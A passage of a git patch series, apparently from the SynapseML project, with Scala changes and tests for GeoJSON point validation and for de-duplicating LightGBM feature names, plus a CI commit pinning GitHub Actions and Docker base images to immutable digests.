indexJson) + // FAILFAST surfaces parse errors when the row is materialized, not at plan time. + // The concrete wrapper type varies (SparkException, ExecutionException, or a bare + // RuntimeException when Spark folds the LocalRelation on the driver), so assert on + // the flattened cause chain instead. + val caught = intercept[Exception] { + converted.collect() + } + assert(causeChain(caught).contains("Malformed records are detected"), + s"expected a FAILFAST parse failure but got: ${causeChain(caught)}") + } + + test("convertGeographyPointToStruct rejects valid JSON that is not a GeoJSON Point") { + val indexJson = + """ + |{ + | "name": "unit-test-geo", + | "fields": [ + | { "name": "id", "type": "Edm.String", "key": true }, + | { "name": "location", "type": "Edm.GeographyPoint" } + | ] + |} + |""".stripMargin + + // Every one of these is syntactically valid JSON (or blank), so Spark's FAILFAST parser + // accepts it and yields a partially-null struct. Without explicit shape validation these + // would be silently indexed as a null location instead of failing the write. + val wrongShapes = Seq( + """{"foo":"bar"}""", + """{"type":"Point"}""", + """{"coordinates":[-122.3493, 47.6205]}""", + """{"type":"Polygon","coordinates":[-122.3493, 47.6205]}""", + """{"type":"Point","coordinates":[-122.3493]}""", + """{"type":"Point","coordinates":[-122.3493, 47.6205, 12.0]}""", + """{"type":"Point","coordinates":[-122.3493, null]}""", + "", + " " + ) + + wrongShapes.foreach { badValue => + val df = spark.createDataFrame(Seq(("0", badValue))).toDF("id", "location") + val converted = AzureSearchWriter.convertGeographyPointToStruct(df, indexJson) + val caught = intercept[Exception] { + converted.collect() + } + val message = causeChain(caught) + assert(message.contains("not a valid GeoJSON Point"), + s"expected a GeoJSON validation failure for '$badValue' but got: $message") + assert(message.contains("location"), + s"expected the error to name the offending column for '$badValue'") + } + } + + test("convertGeographyPointToStruct preserves nulls without raising") { + val df = spark.createDataFrame(Seq( + ("0", """{"type":"Point","coordinates":[-122.3493, 47.6205]}"""), + ("1", null), + ("2", null) + )).toDF("id", "location") + + val indexJson = + """ + |{ + | "name": "unit-test-geo", + | "fields": [ + | { "name": "id", "type": "Edm.String", "key": true }, + | { "name": "location", "type": "Edm.GeographyPoint" } + | ] + |} + |""".stripMargin + + val rows = AzureSearchWriter.convertGeographyPointToStruct(df, indexJson).orderBy("id").collect() + assert(rows.length == 3) + assert(!rows.head.isNullAt(rows.head.fieldIndex("location"))) + assert(rows(1).isNullAt(rows(1).fieldIndex("location"))) + assert(rows(2).isNullAt(rows(2).fieldIndex("location"))) + } + + private def causeChain(t: Throwable): String = + Iterator.iterate(t)(_.getCause).takeWhile(_ != null).map(_.toString).mkString(" | ") + } From 2c21cf2bdf79fb9a552bd8b96e86b8e054448161 Mon Sep 17 00:00:00 2001 From: Rana Singh Date: Wed, 12 Aug 2026 10:48:19 -0700 Subject: [PATCH 47/93] fix: LightGBM Ensure non-duplicate column names (#2508) --- .../synapse/ml/lightgbm/LightGBMBase.scala | 101 ++++++++++++++---- .../ml/lightgbm/dataset/LightGBMDataset.scala | 18 +++- .../dataset/ReferenceDatasetUtils.scala | 85 ++++++++++----- .../split1/VerifyLightGBMCommon.scala | 90 +++++++++++++++- 4 files changed, 244 insertions(+), 50 deletions(-) diff --git a/lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/LightGBMBase.scala b/lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/LightGBMBase.scala index 287aab262c4..cabd4604e5e 100644 --- a/lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/LightGBMBase.scala +++ b/lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/LightGBMBase.scala @@ -199,7 +199,7 @@ trait LightGBMBase[TrainedModel <: Model[TrainedModel] with LightGBMModelParams] private def getSlotNamesWithMetadata(featuresSchema: StructField): Option[Array[String]] = { if (getSlotNames.nonEmpty) { - Some(getSlotNames) + Some(ensureUniqueFeatureNames(getSlotNames)) } else { AttributeGroup.fromStructField(featuresSchema).attributes.flatMap(attributes => if (attributes.isEmpty) { @@ -208,28 +208,82 @@ trait LightGBMBase[TrainedModel <: Model[TrainedModel] with LightGBMModelParams] val colNames = attributes.indices.map(_.toString).toArray attributes.foreach(attr => attr.index.foreach(index => colNames(index) = attr.name.getOrElse(index.toString))) - Some(colNames) + // Ensure unique feature names to avoid LightGBM error: + // "Feature (Column_) appears more than one time" + // This can occur in Spark 3.5+ due to changes in AttributeGroup metadata handling + Some(ensureUniqueFeatureNames(colNames)) } ) } } - private def validateSlotNames(featuresSchema: StructField): Unit = { - val metadata = AttributeGroup.fromStructField(featuresSchema) - if (metadata.attributes.isDefined) { - val slotNamesOpt = getSlotNamesWithMetadata(featuresSchema) - val pattern = new Regex("[\",:\\[\\]{}]") - slotNamesOpt.foreach(slotNames => { - val badSlotNames = slotNames.flatMap(slotName => - if (pattern.findFirstIn(slotName).isEmpty) None else Option(slotName)) - if (!badSlotNames.isEmpty) { - throw new IllegalArgumentException( - s"Invalid slot names detected in features column: ${badSlotNames.mkString(",")}" + - " \n Special characters \" , : \\ [ ] { } will cause unexpected behavior in LGBM unless changed." + - " This error can be fixed by renaming the problematic columns prior to vector assembly.") - } - }) + /** + * Maps a feature name to the form LightGBM compares internally. LightGBM replaces every space + * with an underscore before checking for duplicates, so "a b" and "a_b" are the same feature + * as far as the native library is concerned even though they differ in Scala. + */ + private def normalizeFeatureName(name: String): String = name.replace(' ', '_') + + /** + * Ensures all feature names are unique by appending a numeric suffix to repeated names. + * LightGBM rejects a Dataset whose feature names repeat, failing the native + * LGBM_DatasetSetFeatureNames call with "Feature (X) appears more than one time", and Spark + * can surface repeated names through AttributeGroup metadata on the features column. + * + * Uniqueness is decided on the normalized form (see normalizeFeatureName), because that is + * what LightGBM compares. The original names are what get emitted, so this only affects which + * names are considered to collide. + * + * Every original name is reserved up front, so a generated name can never collide with an + * original that appears later in the array. Generated names are reserved as they are handed + * out, so they cannot collide with each other either. Order is preserved, which matters + * because feature names are positional in LightGBM. + * + * @param names The array of feature names that may contain duplicates. + * @return An array of unique feature names, in the original order. + */ + private def ensureUniqueFeatureNames(names: Array[String]): Array[String] = { + val reserved = scala.collection.mutable.HashSet[String](names.map(normalizeFeatureName): _*) + val emitted = scala.collection.mutable.HashSet[String]() + val renamed = scala.collection.mutable.ArrayBuffer[String]() + + val uniqueNames = names.map { name => + if (emitted.add(normalizeFeatureName(name))) { + name + } else { + // Terminates because only finitely many names are reserved. + val uniqueName = Iterator.from(1) + .map(suffix => s"${name}_$suffix") + .find(candidate => !reserved.contains(normalizeFeatureName(candidate))) + .get + reserved.add(normalizeFeatureName(uniqueName)) + emitted.add(normalizeFeatureName(uniqueName)) + renamed += name + uniqueName + } + } + + if (renamed.nonEmpty) { + log.warn(s"Duplicate feature names detected and renamed: ${renamed.distinct.mkString(", ")}. " + + "Set the 'slotNames' parameter explicitly to control feature naming.") } + + uniqueNames + } + + private def validateSlotNames(featuresSchema: StructField): Unit = { + val slotNamesOpt = getSlotNamesWithMetadata(featuresSchema) + val pattern = new Regex("[\",:\\[\\]{}]") + slotNamesOpt.foreach(slotNames => { + val badSlotNames = slotNames.flatMap(slotName => + if (pattern.findFirstIn(slotName).isEmpty) None else Option(slotName)) + if (!badSlotNames.isEmpty) { + throw new IllegalArgumentException( + s"Invalid slot names detected in features column: ${badSlotNames.mkString(",")}" + + " \n Special characters \" , : [ ] { } will cause unexpected behavior in LGBM unless changed." + + " This error can be fixed by renaming the problematic columns prior to vector assembly.") + } + }) } /** @@ -414,6 +468,10 @@ trait LightGBMBase[TrainedModel <: Model[TrainedModel] with LightGBMModelParams] val (numCols, numInitScoreClasses) = calculateColumnStatistics(preprocessedDF, measures) val featuresSchema = dataset.schema(getFeaturesCol) + // Validate before any native LightGBM call that consumes feature names (e.g. reference + // Dataset creation below), so an invalid name surfaces as an actionable error naming the + // offending columns rather than an opaque native failure. + validateSlotNames(featuresSchema) val generalTrainParams: BaseTrainParams = getTrainParams(numTasks, featuresSchema, numTasksPerExecutor) val trainParams = addCustomTrainParams(generalTrainParams, dataset) log.info(s"LightGBM batch $batchIndex of $batchCount, parameters: ${trainParams.toString()}") @@ -422,7 +480,7 @@ trait LightGBMBase[TrainedModel <: Model[TrainedModel] with LightGBMModelParams] val (serializedReferenceDataset: Option[Array[Byte]], partitionCounts: Option[Array[Long]]) = if (isStreamingMode) { val (referenceDataset, partitionCounts) = - calculateRowStatistics(trainingData, trainParams, numCols, measures) + calculateRowStatistics(trainingData, trainParams, numCols, featuresSchema, measures) // Save the reference Dataset so it's available to client and other batches if (getReferenceDataset.isEmpty) { @@ -432,7 +490,6 @@ trait LightGBMBase[TrainedModel <: Model[TrainedModel] with LightGBMModelParams] (Some(referenceDataset), Some(partitionCounts)) } else (None, None) - validateSlotNames(featuresSchema) executeTraining(preprocessedDF, validationData, serializedReferenceDataset, @@ -503,12 +560,14 @@ trait LightGBMBase[TrainedModel <: Model[TrainedModel] with LightGBMModelParams] * @param dataframe The dataset to train on. * @param trainingParams The training parameters. * @param numCols The number of feature columns. + * @param featuresSchema The schema of the features column. * @param measures Instrumentation measures. * @return The serialized Dataset reference and an array of partition counts. */ private def calculateRowStatistics(dataframe: DataFrame, trainingParams: BaseTrainParams, numCols: Int, + featuresSchema: StructField, measures: InstrumentationMeasures): (Array[Byte], Array[Long]) = { measures.markRowStatisticsStart() @@ -523,6 +582,9 @@ trait LightGBMBase[TrainedModel <: Model[TrainedModel] with LightGBMModelParams] trainingParams.generalParams.categoricalFeatures, trainingParams.executionParams.numThreads) + // Get feature names to set on the reference dataset (ensures unique names for Spark 3.5+) + val featureNames = getSlotNamesWithMetadata(featuresSchema) + // Either get a reference dataset (as bytes) from params, or calculate it val precalculatedDataset = getReferenceDataset val serializedReference = if (precalculatedDataset.nonEmpty) { @@ -541,6 +603,7 @@ trait LightGBMBase[TrainedModel <: Model[TrainedModel] with LightGBMModelParams] totalNumRows, numCols, collectedSampleData, + featureNames, measures, log) } diff --git a/lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/dataset/LightGBMDataset.scala b/lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/dataset/LightGBMDataset.scala index b841f2954c4..14b96de87a1 100644 --- a/lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/dataset/LightGBMDataset.scala +++ b/lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/dataset/LightGBMDataset.scala @@ -7,6 +7,7 @@ import com.microsoft.azure.synapse.ml.lightgbm.LightGBMUtils import com.microsoft.azure.synapse.ml.lightgbm.dataset.DatasetUtils.countCardinality import com.microsoft.lightgbm.SwigPtrWrapper import com.microsoft.ml.lightgbm._ +import org.slf4j.{Logger, LoggerFactory} import scala.reflect.ClassTag @@ -179,8 +180,17 @@ class LightGBMDataset(val datasetPtr: SWIGTYPE_p_void) extends AutoCloseable { // Add in slot names if they exist featureNamesOpt.foreach { featureNamesArray => if (featureNamesArray.nonEmpty) { - LightGBMUtils.validate(lightgbmlib.LGBM_DatasetSetFeatureNames(datasetPtr, featureNamesArray, numCols), - "Dataset set feature names") + // LGBM_DatasetSetFeatureNames reads numCols entries from the array, so a shorter array + // is an out-of-bounds native read. slotNames is user-supplied and unvalidated, so guard + // every dataset-naming path here rather than at individual call sites. LightGBM falls + // back to its own generated names when naming is skipped. + if (featureNamesArray.length != numCols) { + LightGBMDataset.Log.warn(s"Skipping feature names: got ${featureNamesArray.length} names " + + s"for $numCols feature columns.") + } else { + LightGBMUtils.validate(lightgbmlib.LGBM_DatasetSetFeatureNames(datasetPtr, featureNamesArray, numCols), + "Dataset set feature names") + } } } this @@ -191,3 +201,7 @@ class LightGBMDataset(val datasetPtr: SWIGTYPE_p_void) extends AutoCloseable { LightGBMUtils.validate(lightgbmlib.LGBM_DatasetFree(datasetPtr), "Free Dataset") } } + +object LightGBMDataset { + private val Log: Logger = LoggerFactory.getLogger(classOf[LightGBMDataset]) +} diff --git a/lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/dataset/ReferenceDatasetUtils.scala b/lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/dataset/ReferenceDatasetUtils.scala index 63743835f93..80b2e1585bf 100644 --- a/lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/dataset/ReferenceDatasetUtils.scala +++ b/lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/dataset/ReferenceDatasetUtils.scala @@ -16,25 +16,42 @@ object ReferenceDatasetUtils { numRows: Long, numCols: Int, sampledRowData: Array[Row], + featureNames: Option[Array[String]], measures: InstrumentationMeasures, log: Logger): Array[Byte] = { log.info(s"Creating reference training dataset with ${sampledRowData.length} samples and config: $datasetParams") - // Pre-create allocated native pointers so it's easy to clean them up - val datasetVoidPtr = lightgbmlib.voidpp_handle() val lenPtr = lightgbmlib.new_intp() val bufferHandlePtr = lightgbmlib.voidpp_handle() - val sampledData = SampledData(sampledRowData.length, numCols) + try { - // create properly formatted sampled data measures.markSamplingStart() sampledRowData.zipWithIndex.foreach({case (row, index) => sampledData.pushRow(row, index, featuresCol)}) measures.markSamplingStop() - // Create dataset from samples - // 1. Generate the dataset for features - val datasetVoidPtr = lightgbmlib.voidpp_handle() + val datasetHandle = createDatasetFromSamples(sampledData, numCols, numRows, datasetParams) + try { + setFeatureNamesIfProvided(datasetHandle, featureNames, numCols, log) + serializeReference(datasetHandle, bufferHandlePtr, lenPtr, log) + } finally { + // Free unconditionally so a failure while naming or serializing cannot leak the native + // Dataset. Deliberately not validated: throwing here would mask the original failure. + lightgbmlib.LGBM_DatasetFree(datasetHandle) + } + } finally { + sampledData.delete() + lightgbmlib.delete_voidpp(bufferHandlePtr) + lightgbmlib.delete_intp(lenPtr) + } + } + + private def createDatasetFromSamples(sampledData: SampledData, + numCols: Int, + numRows: Long, + datasetParams: String): SWIGTYPE_p_void = { + val datasetVoidPtr = lightgbmlib.voidpp_handle() + try { LightGBMUtils.validate(lightgbmlib.LGBM_DatasetCreateFromSampledColumn( sampledData.getSampleData, sampledData.getSampleIndices, @@ -45,31 +62,43 @@ object ReferenceDatasetUtils { numRows, datasetParams, datasetVoidPtr), "Dataset create from samples") - - - // 2. Serialize the raw dataset to a native buffer - val datasetHandle: SWIGTYPE_p_void = lightgbmlib.voidpp_value(datasetVoidPtr) - LightGBMUtils.validate(lightgbmlib.LGBM_DatasetSerializeReferenceToBinary( - datasetHandle, - bufferHandlePtr, - lenPtr), "Serialize ref") - val bufferLen: Int = lightgbmlib.intp_value(lenPtr) - log.info(s"Created serialized reference dataset of length $bufferLen") - - // The dataset is now serialized to a buffer, so we don't need original - LightGBMUtils.validate(lightgbmlib.LGBM_DatasetFree(datasetHandle), "Free Dataset") - - // This will also free the buffer - toByteArray(bufferHandlePtr, bufferLen) - } - finally { - sampledData.delete() + lightgbmlib.voidpp_value(datasetVoidPtr) + } finally { + // Frees the void** container only. The Dataset it points at is freed by LGBM_DatasetFree. lightgbmlib.delete_voidpp(datasetVoidPtr) - lightgbmlib.delete_voidpp(bufferHandlePtr) - lightgbmlib.delete_intp(lenPtr) } } + private def setFeatureNamesIfProvided(datasetHandle: SWIGTYPE_p_void, + featureNames: Option[Array[String]], + numCols: Int, + log: Logger): Unit = { + featureNames.foreach { names => + if (names.length != numCols) { + // LGBM_DatasetSetFeatureNames reads numCols entries from the array, so a shorter array + // would be an out-of-bounds native read. Skip naming rather than risk it; LightGBM then + // falls back to its own generated names, which is the behavior prior to this feature. + log.warn(s"Skipping feature names on reference dataset: got ${names.length} names " + + s"for $numCols feature columns.") + } else if (names.nonEmpty) { + log.info(s"Setting ${names.length} feature names on reference dataset") + LightGBMUtils.validate(lightgbmlib.LGBM_DatasetSetFeatureNames(datasetHandle, names, numCols), + "Dataset set feature names") + } + } + } + + private def serializeReference(datasetHandle: SWIGTYPE_p_void, + bufferHandlePtr: SWIGTYPE_p_p_void, + lenPtr: SWIGTYPE_p_int, + log: Logger): Array[Byte] = { + LightGBMUtils.validate(lightgbmlib.LGBM_DatasetSerializeReferenceToBinary( + datasetHandle, bufferHandlePtr, lenPtr), "Serialize ref") + val bufferLen: Int = lightgbmlib.intp_value(lenPtr) + log.info(s"Created serialized reference dataset of length $bufferLen") + toByteArray(bufferHandlePtr, bufferLen) + } + def getInitializedReferenceDataset(ctx: PartitionTaskContext): LightGBMDataset = { // The definition is broadcast from Spark, so retrieve it val serializedDataset: Array[Byte] = ctx.trainingCtx.serializedReferenceDataset.get diff --git a/lightgbm/src/test/scala/com/microsoft/azure/synapse/ml/lightgbm/split1/VerifyLightGBMCommon.scala b/lightgbm/src/test/scala/com/microsoft/azure/synapse/ml/lightgbm/split1/VerifyLightGBMCommon.scala index c4169cd5bd6..e6e0015dc31 100644 --- a/lightgbm/src/test/scala/com/microsoft/azure/synapse/ml/lightgbm/split1/VerifyLightGBMCommon.scala +++ b/lightgbm/src/test/scala/com/microsoft/azure/synapse/ml/lightgbm/split1/VerifyLightGBMCommon.scala @@ -8,7 +8,8 @@ import com.microsoft.azure.synapse.ml.lightgbm._ import com.microsoft.azure.synapse.ml.lightgbm.dataset.{ChunkedArrayUtils, SampledData} import com.microsoft.azure.synapse.ml.lightgbm.swig.{DoubleChunkedArray, DoubleSwigArray, IntSwigArray, SwigUtils} import com.microsoft.ml.lightgbm.{SWIGTYPE_p_p_void, SWIGTYPE_p_void, lightgbmlib} -import org.apache.spark.ml.linalg.{DenseVector, SparseVector} +import org.apache.spark.ml.attribute.{Attribute, AttributeGroup, NumericAttribute} +import org.apache.spark.ml.linalg.{DenseVector, SparseVector, Vectors} import org.apache.spark.sql.DataFrame // scalastyle:off magic.number @@ -18,6 +19,24 @@ class VerifyLightGBMCommon extends TestBase with LightGBMTestUtils { lazy val taskDF: DataFrame = loadBinary("task.train.csv", "TaskFailed10").cache() lazy val pimaDF: DataFrame = loadBinary("PimaIndian.csv", "Diabetes mellitus").cache() + /** Builds a tiny 4-row frame whose features vectors have `numFeatures` columns. */ + private def makeDuplicateNameDF(numFeatures: Int): DataFrame = { + val rows = Seq(0.0, 1.0, 0.0, 1.0).zipWithIndex.map { case (label, row) => + (label, Vectors.dense(Array.tabulate(numFeatures)(col => (row + col + 1).toDouble))) + } + spark.createDataFrame(rows).toDF(labelCol, featuresCol) + } + + /** A fresh minimal classifier per call, so slot names from one test cannot leak into another. */ + private def duplicateNameModel: LightGBMClassifier = new LightGBMClassifier() + .setFeaturesCol(featuresCol) + .setLabelCol(labelCol) + .setDefaultListenPort(getAndIncrementPort()) + .setNumLeaves(5) + .setNumIterations(5) + .setObjective("binary") + .setDataTransferMode(LightGBMConstants.StreamingDataTransferMode) + lazy val baseModel: LightGBMClassifier = new LightGBMClassifier() .setFeaturesCol(featuresCol) .setRawPredictionCol(rawPredCol) @@ -294,4 +313,73 @@ class VerifyLightGBMCommon extends TestBase with LightGBMTestUtils { (conv(up.last) + conv(down.head)) / fromInt(2) } } + + test("Verify duplicate feature names are handled correctly") { + // Regression test: LightGBM rejects a Dataset whose feature names repeat, failing with + // "Feature (Column_) appears more than one time". Spark can surface repeated names through + // AttributeGroup metadata on the features column, so SynapseML de-duplicates them first. + val attrs: Array[Attribute] = Array( + NumericAttribute.defaultAttr.withName("Column_").withIndex(0), + NumericAttribute.defaultAttr.withName("Column_").withIndex(1), + NumericAttribute.defaultAttr.withName("Column_").withIndex(2), + NumericAttribute.defaultAttr.withName("unique_col").withIndex(3)) + val attrGroup = new AttributeGroup(featuresCol, attrs) + + val df = makeDuplicateNameDF(4) + val dfWithDuplicateNames = df.withColumn( + featuresCol, + df(featuresCol).as(featuresCol, attrGroup.toMetadata())) + + val predictions = duplicateNameModel.fit(dfWithDuplicateNames).transform(dfWithDuplicateNames) + assert(predictions.count() == 4) + } + + test("Verify explicit slotNames parameter is used") { + val df = makeDuplicateNameDF(3) + val model = duplicateNameModel.setSlotNames(Array("feature_a", "feature_b", "feature_c")) + assert(model.fit(df).transform(df).count() == 4) + } + + test("Verify duplicate explicit slotNames are made unique") { + val df = makeDuplicateNameDF(3) + val model = duplicateNameModel.setSlotNames(Array("Column_", "Column_", "Column_")) + assert(model.fit(df).transform(df).count() == 4) + } + + test("Verify a generated slot name cannot collide with a later original name") { + // "Column_" repeats, so the second occurrence is renamed. A naive implementation renames it + // to "Column__1", which is already taken by the third slot, so LightGBM still fails with + // "Feature (Column__1) appears more than one time". The renamed slot must skip past every + // original name, not just the ones seen so far. + val df = makeDuplicateNameDF(3) + val model = duplicateNameModel.setSlotNames(Array("Column_", "Column_", "Column__1")) + assert(model.fit(df).transform(df).count() == 4) + } + + test("Verify names differing only by space vs underscore are made unique") { + // LightGBM replaces spaces with underscores before checking for duplicates, so "a b" and + // "a_b" are the same feature natively and fail with "Feature (a_b) appears more than one + // time" even though the two strings differ in Scala. + val df = makeDuplicateNameDF(3) + val model = duplicateNameModel.setSlotNames(Array("a b", "a_b", "c")) + assert(model.fit(df).transform(df).count() == 4) + } + + test("Verify slotNames of the wrong length are skipped rather than read out of bounds") { + // LGBM_DatasetSetFeatureNames reads numCols entries from the array, so a short slotNames + // array is an out-of-bounds native read. slotNames is user-supplied and never length-checked + // upstream, so LightGBMDataset.setFeatureNames guards every dataset-naming path. Training + // proceeds with LightGBM's own generated names instead of crashing the executor. + val df = makeDuplicateNameDF(4) + val model = duplicateNameModel.setSlotNames(Array("only_one_name")) + assert(model.fit(df).transform(df).count() == 4) + } + + test("Verify slotNames of the wrong length are skipped in bulk mode too") { + val df = makeDuplicateNameDF(4) + val model = duplicateNameModel + .setDataTransferMode(LightGBMConstants.BulkDataTransferMode) + .setSlotNames(Array("a", "b")) + assert(model.fit(df).transform(df).count() == 4) + } } From 38b078ad9d04d3266074988fb52e0b9b8cf9c6dc Mon Sep 17 00:00:00 2001 From: Brendan Walsh <37676373+BrendanWalsh@users.noreply.github.com> Date: Wed, 12 Aug 2026 11:38:03 -0700 Subject: [PATCH 48/93] ci: pin remaining GitHub Actions and all Docker base images to immutable references (#2533) Co-authored-by: Rana Singh --- .github/workflows/ado-pr-to-workitem.yml | 2 +- .github/workflows/remove-awaiting-response-label.yml | 4 ++-- .github/workflows/scorecards.yml | 2 +- tools/docker/demo/Dockerfile | 2 +- tools/docker/minimal/Dockerfile | 2 +- tools/helm/livy/Dockerfile | 2 +- tools/helm/livy/mini.Dockerfile | 2 +- tools/helm/spark/Dockerfile | 2 +- tools/helm/spark/mini.Dockerfile | 2 +- tools/helm/zeppelin/Dockerfile | 2 +- tools/helm/zeppelin/mini.Dockerfile | 2 +- 11 files changed, 12 insertions(+), 12 deletions(-) diff --git a/.github/workflows/ado-pr-to-workitem.yml b/.github/workflows/ado-pr-to-workitem.yml index 8a238371423..9e64474bb05 100644 --- a/.github/workflows/ado-pr-to-workitem.yml +++ b/.github/workflows/ado-pr-to-workitem.yml @@ -10,7 +10,7 @@ jobs: alert: runs-on: ubuntu-latest steps: - - uses: danhellem/github-actions-pr-to-work-item@master + - uses: danhellem/github-actions-pr-to-work-item@496254e48adbe7f1ed14a8afb71dc520b2c052ac # master env: ado_token: '${{ secrets.ADO_PERSONAL_ACCESS_TOKEN }}' github_token: '${{ secrets.GH_PERSONAL_ACCESS_TOKEN }}' diff --git a/.github/workflows/remove-awaiting-response-label.yml b/.github/workflows/remove-awaiting-response-label.yml index 1ff1e4b94d1..9db3ffb4f44 100644 --- a/.github/workflows/remove-awaiting-response-label.yml +++ b/.github/workflows/remove-awaiting-response-label.yml @@ -13,7 +13,7 @@ jobs: github.event.comment.author_association != 'COLLABORATOR' steps: - name: Remove needs-reply label - uses: octokit/request-action@v2.x + uses: octokit/request-action@02f5e7c637a73a3b12ed81015fa7fb5f11cc5d7d # v2.x continue-on-error: true with: route: DELETE /repos/:repository/issues/:issue/labels/:label @@ -21,4 +21,4 @@ jobs: issue: ${{ github.event.issue.number }} label: "awaiting response" env: - GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} \ No newline at end of file + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} diff --git a/.github/workflows/scorecards.yml b/.github/workflows/scorecards.yml index ae99565a717..fdc14e5c43d 100644 --- a/.github/workflows/scorecards.yml +++ b/.github/workflows/scorecards.yml @@ -67,6 +67,6 @@ jobs: # Upload the results to GitHub's code scanning dashboard. - name: "Upload to code-scanning" - uses: github/codeql-action/upload-sarif@d1ba80a13dd99fba24a470575428917156a28b43 # v4 + uses: github/codeql-action/upload-sarif@5595ccaf912efad79be6eef63a5619ff05969be3 # v4.37.6 with: sarif_file: results.sarif diff --git a/tools/docker/demo/Dockerfile b/tools/docker/demo/Dockerfile index fba618e5b60..d9f4724b79b 100644 --- a/tools/docker/demo/Dockerfile +++ b/tools/docker/demo/Dockerfile @@ -1,4 +1,4 @@ -FROM mcr.microsoft.com/mirror/docker/library/ubuntu:22.04 +FROM mcr.microsoft.com/mirror/docker/library/ubuntu:22.04@sha256:104ae83764a5119017b8e8d6218fa0832b09df65aae7d5a6de29a85d813da2fb ARG SYNAPSEML_VERSION=1.1.3 ARG DEBIAN_FRONTEND=noninteractive diff --git a/tools/docker/minimal/Dockerfile b/tools/docker/minimal/Dockerfile index 9a8530aa27d..5ab9b1bd2af 100644 --- a/tools/docker/minimal/Dockerfile +++ b/tools/docker/minimal/Dockerfile @@ -1,4 +1,4 @@ -FROM mcr.microsoft.com/mirror/docker/library/ubuntu:22.04 +FROM mcr.microsoft.com/mirror/docker/library/ubuntu:22.04@sha256:104ae83764a5119017b8e8d6218fa0832b09df65aae7d5a6de29a85d813da2fb ARG SYNAPSEML_VERSION=1.1.3 ARG DEBIAN_FRONTEND=noninteractive diff --git a/tools/helm/livy/Dockerfile b/tools/helm/livy/Dockerfile index 19c4fffaac3..c08995c168c 100644 --- a/tools/helm/livy/Dockerfile +++ b/tools/helm/livy/Dockerfile @@ -1,4 +1,4 @@ -FROM mcr.microsoft.com/openjdk/jdk:11-mariner +FROM mcr.microsoft.com/openjdk/jdk:11-mariner@sha256:eea2eae2b8dc62991a43018ca65f895238f43ee0d94a55a7929dbaf7d4bfc7c7 LABEL maintainer="Dalitso Banda dalitsohb@gmail.com" # Get Spark from US Apache mirror. diff --git a/tools/helm/livy/mini.Dockerfile b/tools/helm/livy/mini.Dockerfile index 07caa82f0e6..fecd622880c 100644 --- a/tools/helm/livy/mini.Dockerfile +++ b/tools/helm/livy/mini.Dockerfile @@ -1,4 +1,4 @@ -FROM mcr.microsoft.com/mmlspark/spark2.4:v4_mini +FROM mcr.microsoft.com/mmlspark/spark2.4:v4_mini@sha256:a7da0d7cd86ab374d1f0dc7ae4cd35260f8798f8e40a4e4e818748f61a389279 MAINTAINER Dalitso Banda ENV LIVY_VERSION="git_master" diff --git a/tools/helm/spark/Dockerfile b/tools/helm/spark/Dockerfile index d5200fc15a0..b23729c93b6 100644 --- a/tools/helm/spark/Dockerfile +++ b/tools/helm/spark/Dockerfile @@ -1,4 +1,4 @@ -FROM mcr.microsoft.com/openjdk/jdk:11-mariner +FROM mcr.microsoft.com/openjdk/jdk:11-mariner@sha256:eea2eae2b8dc62991a43018ca65f895238f43ee0d94a55a7929dbaf7d4bfc7c7 LABEL maintainer="Dalitso Banda dalitsohb@gmail.com" # Get Spark from US Apache mirror. diff --git a/tools/helm/spark/mini.Dockerfile b/tools/helm/spark/mini.Dockerfile index 05913f4b0b0..6d54cf163da 100644 --- a/tools/helm/spark/mini.Dockerfile +++ b/tools/helm/spark/mini.Dockerfile @@ -15,7 +15,7 @@ # limitations under the License. # -FROM mcr.microsoft.com/openjdk/jdk:11-mariner +FROM mcr.microsoft.com/openjdk/jdk:11-mariner@sha256:eea2eae2b8dc62991a43018ca65f895238f43ee0d94a55a7929dbaf7d4bfc7c7 ARG spark_jars=jars ARG img_path=kubernetes/dockerfiles diff --git a/tools/helm/zeppelin/Dockerfile b/tools/helm/zeppelin/Dockerfile index 6f92ed02039..0eb6ecd8eb4 100644 --- a/tools/helm/zeppelin/Dockerfile +++ b/tools/helm/zeppelin/Dockerfile @@ -1,4 +1,4 @@ -FROM mcr.microsoft.com/openjdk/jdk:11-mariner +FROM mcr.microsoft.com/openjdk/jdk:11-mariner@sha256:eea2eae2b8dc62991a43018ca65f895238f43ee0d94a55a7929dbaf7d4bfc7c7 LABEL maintainer="Dalitso Banda dalitsohb@gmail.com" # Get Spark from US Apache mirror. diff --git a/tools/helm/zeppelin/mini.Dockerfile b/tools/helm/zeppelin/mini.Dockerfile index 6b126a81543..b0f751a4bd5 100644 --- a/tools/helm/zeppelin/mini.Dockerfile +++ b/tools/helm/zeppelin/mini.Dockerfile @@ -1,4 +1,4 @@ -FROM mcr.microsoft.com/mmlspark/spark2.4:v4_mini +FROM mcr.microsoft.com/mmlspark/spark2.4:v4_mini@sha256:a7da0d7cd86ab374d1f0dc7ae4cd35260f8798f8e40a4e4e818748f61a389279 MAINTAINER Dalitso Banda ADD patch_beam.patch /tmp/patch_beam.patch From a62b893bc16ee5875cc5a80f71e03515364237c3 Mon Sep 17 00:00:00 2001 From: Rana Singh Date: Wed, 12 Aug 2026 15:07:52 -0700 Subject: [PATCH 49/93] fix(search): accept index schemas whose analyzers and CORS options are objects (#2624) --- .../services/search/AzureSearchSchemas.scala | 19 ++-- .../IndexSchemaLiveRoundTripSuite.scala | 96 +++++++++++++++++ .../search/IndexSchemaParsingSuite.scala | 102 ++++++++++++++++++ pipeline.yaml | 2 + 4 files changed, 213 insertions(+), 6 deletions(-) create mode 100644 cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/search/IndexSchemaLiveRoundTripSuite.scala create mode 100644 cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/search/IndexSchemaParsingSuite.scala diff --git a/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/search/AzureSearchSchemas.scala 